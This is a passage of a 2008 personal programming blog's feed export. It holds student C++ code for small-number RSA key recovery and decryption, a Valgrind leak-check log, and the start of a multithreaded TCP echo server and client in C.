endl;&lt;br /&gt;delete M;&lt;br /&gt;return 0;&lt;br /&gt;}&lt;/pre&gt;&lt;strong&gt;Sample output&lt;/strong&gt;&lt;pre type="syntaxhighlighter" class="brush:java"&gt;[user23@icis_linux user23]$ ./RSA3 27 1 18 26&lt;br /&gt;Provide Public key(e), Prime numbers(p,q): 3 3 11&lt;br /&gt;&lt;br /&gt;Private key(d): 7&lt;br /&gt;Message(M): cafe&lt;br /&gt;[user23@icis_linux user23]$&lt;/pre&gt;For more Linux programmers, I have one additional information. I ran my code with "valgrind -v --leak-check=full --show-reachable=yes" options. It seems to find some bug with the some system libraries. I will debug it when I have time.Here is the Valgrind output for reference.&lt;pre type="syntaxhighlighter" class="brush:java"&gt;[user23@icis_linux user23]$ valgrind -v --leak-check=full --show-reachable=yes ./RSA3 1&lt;br /&gt;==6415== Memcheck, a memory error detector.&lt;br /&gt;==6415== Copyright (C) 2002-2007, and GNU GPL'd, by Julian Seward et al.&lt;br /&gt;==6415== Using LibVEX rev 1804, a library for dynamic binary translation.&lt;br /&gt;==6415== Copyright (C) 2004-2007, and GNU GPL'd, by OpenWorks LLP.&lt;br /&gt;==6415== Using valgrind-3.3.0, a dynamic binary instrumentation framework.&lt;br /&gt;==6415== Copyright (C) 2000-2007, and GNU GPL'd, by Julian Seward et al.&lt;br /&gt;==6415==&lt;br /&gt;--6415-- Command line&lt;br /&gt;--6415--    ./RSA3&lt;br /&gt;--6415--    1&lt;br /&gt;--6415-- Startup, with flags:&lt;br /&gt;--6415--    -v&lt;br /&gt;--6415--    --leak-check=full&lt;br /&gt;--6415--    --show-reachable=yes&lt;br /&gt;--6415-- Contents of /proc/version:&lt;br /&gt;--6415--   Linux version 2.4.20-8smp (bhcompile@porky.devel.redhat.com) (gcc version 3.2.2 20030222 (Red Hat Linux 3.2.2-5)) #1 SMP Thu Mar 13 17:45:54 EST 2003&lt;br /&gt;--6415-- Arch and hwcaps: X86, x86-sse1-sse2&lt;br /&gt;--6415-- Page sizes: currently 4096, max supported 4096&lt;br /&gt;--6415-- Valgrind library directory: /home/user23/Valgrind/lib/valgrind&lt;br /&gt;--6415-- Reading syms from /lib/ld-2.3.2.so (0x4000000)&lt;br /&gt;--6415-- Reading syms from /home/user23/RSA3 (0x8048000)&lt;br /&gt;--6415-- Reading syms from /home/user23/Valgrind/lib/valgrind/x86-linux/memcheck (0x38000000)&lt;br /&gt;--6415--    object doesn't have a dynamic symbol table&lt;br /&gt;--6415-- Reading suppressions file: /home/user23/Valgrind/lib/valgrind/default.supp&lt;br /&gt;--6415-- REDIR: 0x40114a0 (index) redirected to 0x38022cdf (vgPlain_x86_linux_REDIR_FOR_index)&lt;br /&gt;--6415-- Reading syms from /home/user23/Valgrind/lib/valgrind/x86-linux/vgpreload_core.so (0x4017000)&lt;br /&gt;--6415-- Reading syms from /home/user23/Valgrind/lib/valgrind/x86-linux/vgpreload_memcheck.so (0x4019000)&lt;br /&gt;==6415== WARNING: new redirection conflicts with existing -- ignoring it&lt;br /&gt;--6415--     new: 0x040114a0 (index               ) R-&gt; 0x0401c5e0 index&lt;br /&gt;--6415-- REDIR: 0x4011640 (strlen) redirected to 0x401c804 (strlen)&lt;br /&gt;--6415-- Reading syms from /usr/lib/libstdc++.so.5.0.3 (0x403C000)&lt;br /&gt;--6415--    object doesn't have a symbol table&lt;br /&gt;--6415-- Reading syms from /lib/libm-2.3.2.so (0x40EF000)&lt;br /&gt;--6415-- Reading syms from /lib/libgcc_s-3.2.2-20030225.so.1 (0x4111000)&lt;br /&gt;--6415--    object doesn't have a symbol table&lt;br /&gt;--6415-- Reading syms from /lib/libc-2.3.2.so (0x411A000)&lt;br /&gt;--6415-- REDIR: 0x4194500 (rindex) redirected to 0x401c508 (rindex)&lt;br /&gt;--6415-- REDIR: 0x4193a40 (strcpy) redirected to 0x401c83c (strcpy)&lt;br /&gt;--6415-- REDIR: 0x41941d0 (strlen) redirected to 0x401c7e8 (strlen)&lt;br /&gt;Provide Public key(e), Prime numbers(p,q): 3 3 11&lt;br /&gt;--6415-- REDIR: 0x4196130 (memcpy) redirected to 0x401cb50 (memcpy)&lt;br /&gt;--6415-- REDIR: 0x4195900 (memchr) redirected to 0x401cb2c (memchr)&lt;br /&gt;--6415-- REDIR: 0x40c7e70 (operator new(unsigned)) redirected to 0x401acc8 (operator new(unsigned))&lt;br /&gt;--6415-- REDIR: 0x4195b20 (memset) redirected to 0x401d1b0 (memset)&lt;br /&gt;--6415-- REDIR: 0x40c7fd0 (operator new[](unsigned)) redirected to 0x401b1b0 (operator new[](unsigned))&lt;br /&gt;&lt;br /&gt;Private key(d): 7&lt;br /&gt;Message(M): a&lt;br /&gt;--6415-- REDIR: 0x40c69c0 (operator delete[](void*)) redirected to 0x401bc00 (operator delete[](void*))&lt;br /&gt;--6415-- REDIR: 0x418cf40 (free) redirected to 0x401b578 (free)&lt;br /&gt;==6415==&lt;br /&gt;==6415== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 19 from 1)&lt;br /&gt;--6415--&lt;br /&gt;--6415-- supp:     19 Ubuntu-stripped-ld.so&lt;br /&gt;==6415== malloc/free: in use at exit: 640 bytes in 1 blocks.&lt;br /&gt;==6415== malloc/free: 2 allocs, 1 frees, 642 bytes allocated.&lt;br /&gt;==6415==&lt;br /&gt;==6415== searching for pointers to 1 not-freed blocks.&lt;br /&gt;==6415== checked 108,340 bytes.&lt;br /&gt;==6415==&lt;br /&gt;==6415== 640 bytes in 1 blocks are still reachable in loss record 1 of 1&lt;br /&gt;==6415==    at 0x401AD35: operator new(unsigned) (vg_replace_malloc.c:224)&lt;br /&gt;==6415==    by 0x40B4830: std::__default_alloc_template&lt;true, 0&gt;::_S_chunk_alloc(unsigned, int&amp;) (in /usr/lib/libstdc++.so.5.0.3)&lt;br /&gt;==6415==    by 0x40B473C: std::__default_alloc_template&lt;true, 0&gt;::_S_refill(unsigned) (in /usr/lib/libstdc++.so.5.0.3)&lt;br /&gt;==6415==    by 0x40B42AB: std::__default_alloc_template&lt;true, 0&gt;::allocate(unsigned) (in /usr/lib/libstdc++.so.5.0.3)&lt;br /&gt;==6415==    by 0x40BA2A7: std::string::_Rep::_S_create(unsigned, std::allocator&lt;char&gt; const&amp;) (in /usr/lib/libstdc++.so.5.0.3)&lt;br /&gt;==6415==    by 0x40BA3D8: std::string::_Rep::_M_clone(std::allocator&lt;char&gt; const&amp;, unsigned) (in /usr/lib/libstdc++.so.5.0.3)&lt;br /&gt;==6415==    by 0x40B8145: std::string::reserve(unsigned) (in /usr/lib/libstdc++.so.5.0.3)&lt;br /&gt;==6415==    by 0x40B86EB: std::string::append(unsigned, char) (in /usr/lib/libstdc++.so.5.0.3)&lt;br /&gt;==6415==    by 0x4094E73: std::num_get &amp;lt;char, std::istreambuf_iterator&amp;lt;char, std::char_traits&lt;char&gt; &gt; &gt;::_M_extract_int(std::istreambuf_iterator&amp;lt;char, std::char_traits&lt;char&gt; &gt;, std::istreambuf_iterator&amp;lt;char, std::char_traits&lt;char&gt; &gt;, std::ios_base&amp;, std::_Ios_Iostate&amp;, std::string&amp;, int&amp;) const (in /usr/lib/libstdc++.so.5.0.3)&lt;br /&gt;==6415==    by 0x40958CC: std::num_get &amp;lt;char, std::istreambuf_iterator&amp;lt;char, std::char_traits&lt;char&gt; &gt; &gt;::do_get(std::istreambuf_iterator&amp;lt;char, std::char_traits&lt;char&gt; &gt;, std::istreambuf_iterator&amp;lt;char, std::char_traits&lt;char&gt; &gt;, std::ios_base&amp;, std::_Ios_Iostate&amp;, long&amp;) const (in /usr/lib/libstdc++.so.5.0.3)&lt;br /&gt;==6415==    by 0x4084D5A: std::istream::operator&gt;&gt;(int&amp;) (in /usr/lib/libstdc++.so.5.0.3)&lt;br /&gt;==6415==    by 0x80488FB: main (in /home/user23/RSA3)&lt;br /&gt;==6415==&lt;br /&gt;==6415== LEAK SUMMARY:&lt;br /&gt;==6415==    definitely lost: 0 bytes in 0 blocks.&lt;br /&gt;==6415==      possibly lost: 0 bytes in 0 blocks.&lt;br /&gt;==6415==    still reachable: 640 bytes in 1 blocks.&lt;br /&gt;==6415==         suppressed: 0 bytes in 0 blocks.&lt;br /&gt;--6415--  memcheck: sanity checks: 2 cheap, 2 expensive&lt;br /&gt;--6415--  memcheck: auxmaps: 0 auxmap entries (0k, 0M) in use&lt;br /&gt;--6415--  memcheck: auxmaps_L1: 0 searches, 0 cmps, ratio 0:10&lt;br /&gt;--6415--  memcheck: auxmaps_L2: 0 searches, 0 nodes&lt;br /&gt;--6415--  memcheck: SMs: n_issued      = 9 (144k, 0M)&lt;br /&gt;--6415--  memcheck: SMs: n_deissued    = 0 (0k, 0M)&lt;br /&gt;--6415--  memcheck: SMs: max_noaccess  = 65535 (1048560k, 1023M)&lt;br /&gt;--6415--  memcheck: SMs: max_undefined = 0 (0k, 0M)&lt;br /&gt;--6415--  memcheck: SMs: max_defined   = 33 (528k, 0M)&lt;br /&gt;--6415--  memcheck: SMs: max_non_DSM   = 9 (144k, 0M)&lt;br /&gt;--6415--  memcheck: max sec V bit nodes:    0 (0k, 0M)&lt;br /&gt;--6415--  memcheck: set_sec_vbits8 calls: 0 (new: 0, updates: 0)&lt;br /&gt;--6415--  memcheck: max shadow mem size:   448k, 0M&lt;br /&gt;--6415-- translate:            fast SP updates identified: 3,418 ( 86.4%)&lt;br /&gt;--6415-- translate:   generic_known SP updates identified: 262 (  6.6%)&lt;br /&gt;--6415-- translate: generic_unknown SP updates identified: 274 (  6.9%)&lt;br /&gt;--6415--     tt/tc: 6,560 tt lookups requiring 6,708 probes&lt;br /&gt;--6415--     tt/tc: 6,560 fast-cache updates, 3 flushes&lt;br /&gt;--6415--  transtab: new        3,148 (65,734 -&gt; 939,221; ratio 142:10) [0 scs]&lt;br /&gt;--6415--  transtab: dumped     0 (0 -&gt; ??)&lt;br /&gt;--6415--  transtab: discarded  6 (153 -&gt; ??)&lt;br /&gt;--6415-- scheduler: 251,886 jumps (bb entries).&lt;br /&gt;--6415-- scheduler: 2/3,481 major/minor sched events.&lt;br /&gt;--6415--    sanity: 3 cheap, 2 expensive checks.&lt;br /&gt;--6415--    exectx: 769 lists, 11 contexts (avg 0 per list)&lt;br /&gt;--6415--    exectx: 22 searches, 11 full compares (500 per 1000)&lt;br /&gt;--6415--    exectx: 0 cmp2, 51 cmp4, 0 cmpAll&lt;br /&gt;--6415--  errormgr: 9 supplist searches, 112 comparisons during search&lt;br /&gt;--6415--  errormgr: 19 errlist searches, 51 comparisons during search&lt;br /&gt;[user23@icis_linux user23]$&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-6205193621615354877?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/6205193621615354877/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=6205193621615354877&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/6205193621615354877'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/6205193621615354877'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/02/rsa_18.html' title='RSA - 2'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-6956768391476795029</id><published>2008-02-17T19:11:00.005+05:30</published><updated>2010-03-27T14:11:27.650+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Assignment'/><title type='text'>RSA</title><content type='html'>I did my NPM assignment today. It was partly on RSA encryption and decryption. The assignment was to find the message (M) when the cyper text (C) and the public key pair (e, n) are given.&lt;br /&gt;&lt;br /&gt;I just wrote this small program to calculate M.&lt;br /&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:cpp"&gt;#include &lt;iostream&gt;&lt;br /&gt;&lt;br /&gt;using namespace std;&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;int C, M, e, d, n, p, q, fi;&lt;br /&gt;int i;&lt;br /&gt;cout &lt;&lt; "Enter the Cypher text(C), Public key(e,n): ";&lt;br /&gt;cin &gt;&gt; C &gt;&gt; e &gt;&gt; n;&lt;br /&gt;&lt;br /&gt;// Find the factors of n: p, q &amp; fi&lt;br /&gt;for (p = 2; p &lt; n; p++)&lt;br /&gt;{&lt;br /&gt;if (!(n%p))&lt;br /&gt;{&lt;br /&gt;q = n/p;&lt;br /&gt;fi = (p-1)*(q-1);&lt;br /&gt;break;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// Find the private key d&lt;br /&gt;for (d = 1; d &lt; fi; d++)&lt;br /&gt;if ( (d*e) % fi == 1)&lt;br /&gt;break;&lt;br /&gt;&lt;br /&gt;/* P is the temporary Variable to store C^d&lt;br /&gt;* I am assuming that the value of P will not exceed&lt;br /&gt;* the maximum value of unsigned long long datatype&lt;br /&gt;* which is = +18,446,744,073,709,551,615 (2^64)&lt;br /&gt;* 64 bit processor, conforming to gcc standard&lt;br /&gt;*/&lt;br /&gt;unsigned long long P = 1;&lt;br /&gt;for (i = d; i &gt;= 1; i--)&lt;br /&gt;P = P * C;&lt;br /&gt;M = P%n;&lt;br /&gt;&lt;br /&gt;cout &lt;&lt; "Private key(d): " &lt;&lt; d&lt;br /&gt;&lt;&lt; endl&lt;br /&gt;&lt;&lt; "Plain text(M): " &lt;&lt; M &lt;&lt; endl;&lt;br /&gt;}&lt;/pre&gt;&lt;strong&gt;Compilation&lt;/strong&gt;As usual, the compile line is this.&lt;pre type="syntaxhighlighter" class="brush:cpp"&gt;g++ RSA.cpp -o RSA&lt;/pre&gt;&lt;strong&gt;Sample output&lt;/strong&gt;&lt;pre type="syntaxhighlighter" class="brush:cpp"&gt;[user23@icis_linux user23]$ ./RSA&lt;br /&gt;Enter the Cypher text(C), Public key(e,n): 10 5 35&lt;br /&gt;Private key(d): 5&lt;br /&gt;Plain text(M): 5&lt;br /&gt;[user23@icis_linux user23]$&lt;/pre&gt;It should be noted that the value of P should not exceed its datatype maximum value. The following shows the sample output when it exceeds. As you can see, the message text will be 0.&lt;pre type="syntaxhighlighter" class="brush:cpp"&gt;[user23@icis_linux user23]$ ./RSA&lt;br /&gt;Enter the Cypher text(C), Public key(e,n): 66 5 119&lt;br /&gt;Private key(d): 77&lt;br /&gt;Plain text(M): 0&lt;br /&gt;[user23@icis_linux user23]$&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-6956768391476795029?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/6956768391476795029/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=6956768391476795029&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/6956768391476795029'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/6956768391476795029'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/02/rsa.html' title='RSA'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-936809619535811227</id><published>2008-02-08T10:43:00.001+05:30</published><updated>2010-03-27T14:12:22.732+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Threads'/><category scheme='http://www.blogger.com/atom/ns#' term='IPC'/><title type='text'>Threaded TCP Server-Client</title><content type='html'>Following my post on &lt;a href="http://pthreads.blogspot.com/2008/01/tcp-server.html"&gt;TCP Chat for 1 to 1&lt;/a&gt;, this is a program to implement a multithreaded server and client through TCP.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Server&lt;/strong&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:c"&gt;#include &lt;pthread.h&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;sys/timeb.h&gt;&lt;br /&gt;#include &lt;sys/select.h&gt;&lt;br /&gt;#include &lt;sys/socket.h&gt;&lt;br /&gt;#include &lt;sys/types.h&gt;&lt;br /&gt;#include &lt;sys/wait.h&gt;&lt;br /&gt;#include &lt;netinet/in.h&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;#include &lt;fcntl.h&gt;&lt;br /&gt;#include &lt;signal.h&gt;&lt;br /&gt;#include &lt;errno.h&gt;&lt;br /&gt;&lt;br /&gt;#define MAX_CLIENT_PER_THREAD 1&lt;br /&gt;#define MAX_THREAD 20&lt;br /&gt;#define PORT 3355&lt;br /&gt;#define HIGHFD MAX_CLIENT_PER_THREAD * MAX_THREAD&lt;br /&gt;int listenfd;&lt;br /&gt;int which_thread = 0;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;* * FD_ZERO()&lt;br /&gt;* *&lt;br /&gt;* *&lt;br /&gt;* *&lt;br /&gt;* */&lt;br /&gt;&lt;br /&gt;typedef struct &lt;br /&gt;{&lt;br /&gt;pthread_t tid;&lt;br /&gt;int tnumber;&lt;br /&gt;long client_count;&lt;br /&gt;int clients[MAX_CLIENT_PER_THREAD];&lt;br /&gt;fd_set clientset;&lt;br /&gt;} Thread;&lt;br /&gt;&lt;br /&gt;pthread_cond_t new_connection_cond = PTHREAD_COND_INITIALIZER;&lt;br /&gt;pthread_mutex_t new_connection_mutex = PTHREAD_MUTEX_INITIALIZER;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Thread threads[MAX_THREAD];&lt;br /&gt;&lt;br /&gt;void nonblock(int sockfd)&lt;br /&gt;{&lt;br /&gt;int opts;&lt;br /&gt;opts = fcntl(sockfd, F_GETFL);&lt;br /&gt;if (opts &lt; 0)&lt;br /&gt;{&lt;br /&gt;perror("fcntl(F_GETFL)\n");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;opts = (opts | O_NONBLOCK);&lt;br /&gt;if (fcntl(sockfd, F_SETFL, opts) &lt; 0)&lt;br /&gt;{&lt;br /&gt;perror("fcntl(F_SETFL)\n");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void *thread_init_func(void *arg)&lt;br /&gt;{&lt;br /&gt;int tid = (int) arg;&lt;br /&gt;int readsocks;&lt;br /&gt;int i;&lt;br /&gt;char buffer[1024];&lt;br /&gt;int n;&lt;br /&gt;fd_set readset;&lt;br /&gt;int clifd;&lt;br /&gt;&lt;br /&gt;struct timeval tv;&lt;br /&gt;tv.tv_sec = 0;&lt;br /&gt;tv.tv_usec = 1;&lt;br /&gt;#ifdef DEBUG&lt;br /&gt;printf("thread %d created\n", tid);&lt;br /&gt;printf("sizeof thread.clients: %d\n", sizeof(threads[tid].clients));&lt;br /&gt;#endif&lt;br /&gt;memset((int *) &amp;threads[tid].clients, 0,&lt;br /&gt;sizeof(threads[tid].clients));&lt;br /&gt;&lt;br /&gt;while(1)&lt;br /&gt;{&lt;br /&gt;#ifdef DEBUG&lt;br /&gt;printf("thread %d running, client count: %d\n", tid, threads[tid].client_count);&lt;br /&gt;sleep(3);&lt;br /&gt;#endif&lt;br /&gt;sleep(1);&lt;br /&gt;readset = threads[tid].clientset;&lt;br /&gt;readsocks = select(HIGHFD + 1, &amp;readset, NULL, NULL, &amp;tv);&lt;br /&gt;&lt;br /&gt;for (i = 0; i &lt; threads[tid].client_count; i++)&lt;br /&gt;{&lt;br /&gt;if (threads[tid].clients[i] == 0)&lt;br /&gt;continue;&lt;br /&gt;if (FD_ISSET(threads[tid].clients[i], &amp;readset))&lt;br /&gt;{&lt;br /&gt;n = read(threads[tid].clients[i], buffer, sizeof(buffer));&lt;br /&gt;if (n == 0)&lt;br /&gt;{&lt;br /&gt;#ifdef DEBUG&lt;br /&gt;printf("client %d closed connection 0\n", threads[tid].clients[i]);&lt;br /&gt;#endif&lt;br /&gt;FD_CLR(threads[tid].clients[i], &amp;threads[tid].clientset);&lt;br /&gt;threads[tid].clients[i] = 0;&lt;br /&gt;threads[tid].client_count--;&lt;br /&gt;}&lt;br /&gt;else if (n &lt; 0)&lt;br /&gt;{&lt;br /&gt;if (errno == EAGAIN)&lt;br /&gt;{&lt;br /&gt;#ifdef DEBUG&lt;br /&gt;printf("errno: EAGAIN\n");&lt;br /&gt;#endif&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;#ifdef DEBUG&lt;br /&gt;printf("errno: %d\n", errno);&lt;br /&gt;#endif&lt;br /&gt;FD_CLR(threads[tid].clients[i], &amp;threads[tid].clientset);&lt;br /&gt;threads[tid].clients[i] = 0;&lt;br /&gt;threads[tid].client_count--;&lt;br /&gt;#ifdef DEBUG&lt;br /&gt;printf("client %d closed connection -1\n", threads[tid].clients[i]);&lt;br /&gt;#endif&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;printf("\n %d bytes received from %d - %s\n", n, threads[tid].clients[i], buffer);&lt;br /&gt;send(threads[tid].clients[i], buffer, strlen(buffer), 0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int choose_thread()&lt;br /&gt;{&lt;br /&gt;int i = MAX_THREAD - 1;&lt;br /&gt;int min = 0;&lt;br /&gt;while(i &gt; -1)&lt;br /&gt;{&lt;br /&gt;if (threads[i].client_count &lt; threads[i-1].client_count)&lt;br /&gt;{&lt;br /&gt;min = i;&lt;br /&gt;break;&lt;br /&gt;}&lt;br /&gt;i--;&lt;br /&gt;}&lt;br /&gt;return min;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;char c;&lt;br /&gt;struct sockaddr_in srv, cli;&lt;br /&gt;int clifd;&lt;br /&gt;int tid;&lt;br /&gt;int i;&lt;br /&gt;int choosen;&lt;br /&gt;&lt;br /&gt;if ((listenfd = socket(AF_INET, SOCK_STREAM, 0)) &lt; 0)&lt;br /&gt;{&lt;br /&gt;perror("sockfd");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;bzero(&amp;srv, sizeof(srv));&lt;br /&gt;srv.sin_family = AF_INET;&lt;br /&gt;srv.sin_addr.s_addr = INADDR_ANY;&lt;br /&gt;srv.sin_port = htons(PORT);&lt;br /&gt;&lt;br /&gt;if (bind(listenfd, (struct sockaddr *) &amp;srv, sizeof(srv)) &lt; 0)&lt;br /&gt;{&lt;br /&gt;perror("bind");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;listen(listenfd, 5);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/* create threads */&lt;br /&gt;for (i = 0; i &lt; MAX_THREAD; i++)&lt;br /&gt;{&lt;br /&gt;pthread_create(&amp;threads[i].tid, NULL, &amp;thread_init_func, (void *)i);&lt;br /&gt;threads[i].client_count = 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;for (;;)&lt;br /&gt;{&lt;br /&gt;clifd = accept(listenfd, NULL, NULL);&lt;br /&gt;nonblock(clifd);&lt;br /&gt;&lt;br /&gt;pthread_mutex_lock(&amp;new_connection_mutex);&lt;br /&gt;&lt;br /&gt;choosen = choose_thread();;&lt;br /&gt;&lt;br /&gt;for (i = 0; i &lt; MAX_CLIENT_PER_THREAD; i++)&lt;br /&gt;{&lt;br /&gt;if (threads[choosen].clients[i] == 0)&lt;br /&gt;{&lt;br /&gt;threads[choosen].clients[i] = clifd;&lt;br /&gt;threads[choosen].client_count++;&lt;br /&gt;FD_SET(threads[choosen].clients[i], &amp;threads[choosen].clientset);&lt;br /&gt;break;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#ifdef DEBUG&lt;br /&gt;printf("choosen: %d\n", choosen);&lt;br /&gt;&lt;br /&gt;for (i = 0; i &lt; MAX_THREAD; i++)&lt;br /&gt;{&lt;br /&gt;printf("threads[%d].client_count:%d\n", i,&lt;br /&gt;threads[i].client_count);&lt;br /&gt;}&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;pthread_mutex_unlock(&amp;new_connection_mutex);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;strong&gt;Client&lt;/strong&gt;&lt;pre type="syntaxhighlighter" class="brush:c"&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;netdb.h&gt;&lt;br /&gt;#include &lt;sys/socket.h&gt;&lt;br /&gt;#include &lt;sys/types.h&gt;&lt;br /&gt;#include &lt;sys/wait.h&gt;&lt;br /&gt;#include &lt;netinet/in.h&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;#include &lt;fcntl.h&gt;&lt;br /&gt;#include &lt;signal.h&gt;&lt;br /&gt;#include &lt;errno.h&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#define MAX_CLIENT 20&lt;br /&gt;&lt;br /&gt;int PORT = 3355;&lt;br /&gt;char *IP = "155.69.221.20";&lt;br /&gt;&lt;br /&gt;enum&lt;br /&gt;{&lt;br /&gt;U_INT_SIZE = sizeof(unsigned int)&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;int list[MAX_CLIENT];&lt;br /&gt;fd_set fdset;&lt;br /&gt;int highfd = MAX_CLIENT;&lt;br /&gt;&lt;br /&gt;void nonblock(int sockfd)&lt;br /&gt;{&lt;br /&gt;int opts;&lt;br /&gt;opts = fcntl(sockfd, F_GETFL);&lt;br /&gt;if (opts &lt; 0)&lt;br /&gt;{&lt;br /&gt;perror("fcntl(F_GETFL)\n");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;opts = (opts | O_NONBLOCK);&lt;br /&gt;if (fcntl(sockfd, F_SETFL, opts) &lt; 0)&lt;br /&gt;{&lt;br /&gt;perror("fcntl(F_SETFL)\n");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;void cli_con()&lt;br /&gt;{&lt;br /&gt;struct sockaddr_in srv;&lt;br /&gt;struct hostent *h_name;&lt;br /&gt;int clifd;&lt;br /&gt;int n;&lt;br /&gt;&lt;br /&gt;bzero(&amp;srv, sizeof(srv));&lt;br /&gt;srv.sin_family = AF_INET;&lt;br /&gt;srv.sin_port = htons(PORT);&lt;br /&gt;inet_pton(AF_INET, IP, &amp;srv.sin_addr);&lt;br /&gt;&lt;br /&gt;if ((clifd = socket(AF_INET, SOCK_STREAM, 0)) &lt; 0)&lt;br /&gt;{&lt;br /&gt;perror("socket clifd");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if (connect(clifd, (struct sockaddr *) &amp;srv, sizeof(srv)) &lt; 0)&lt;br /&gt;{&lt;br /&gt;perror("connect");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;nonblock(clifd);&lt;br /&gt;for (n = 0; (n &lt; MAX_CLIENT) &amp;&amp; (clifd != -1); n++)&lt;br /&gt;{&lt;br /&gt;if (list[n] == 0)&lt;br /&gt;{&lt;br /&gt;#ifdef DEBUG&lt;br /&gt;printf("Connected. fd: %d\n", clifd);&lt;br /&gt;#endif&lt;br /&gt;list[n] = clifd;&lt;br /&gt;clifd = -1;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if (clifd != -1)&lt;br /&gt;printf("list FULL"); /* Should not reach here */&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void set_list()&lt;br /&gt;{&lt;br /&gt;int n;&lt;br /&gt;FD_ZERO(&amp;fdset);&lt;br /&gt;&lt;br /&gt;for (n = 0; n &lt; MAX_CLIENT; n++)&lt;br /&gt;if (list[n] != 0)&lt;br /&gt;{&lt;br /&gt;FD_SET(list[n], &amp;fdset);&lt;br /&gt;if (list[n] &gt; highfd)&lt;br /&gt;highfd = list[n];&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void recv_data(int num)&lt;br /&gt;{&lt;br /&gt;int n;&lt;br /&gt;char buffer[1024];&lt;br /&gt;n = recv(list[num], buffer, 1023, 0);&lt;br /&gt;if (n &gt; 0)&lt;br /&gt;{&lt;br /&gt;#ifdef DEBUG&lt;br /&gt;printf("%d bytes echoed from %d\n", n, list[num]);&lt;br /&gt;printf("%s", buffer);&lt;br /&gt;#endif&lt;br /&gt;}&lt;br /&gt;else if (n &lt; 0)&lt;br /&gt;{&lt;br /&gt;if (errno != EAGAIN)&lt;br /&gt;printf("client %d disconnected\n", list[num]);&lt;br /&gt;}&lt;br /&gt;else if (n == 0)&lt;br 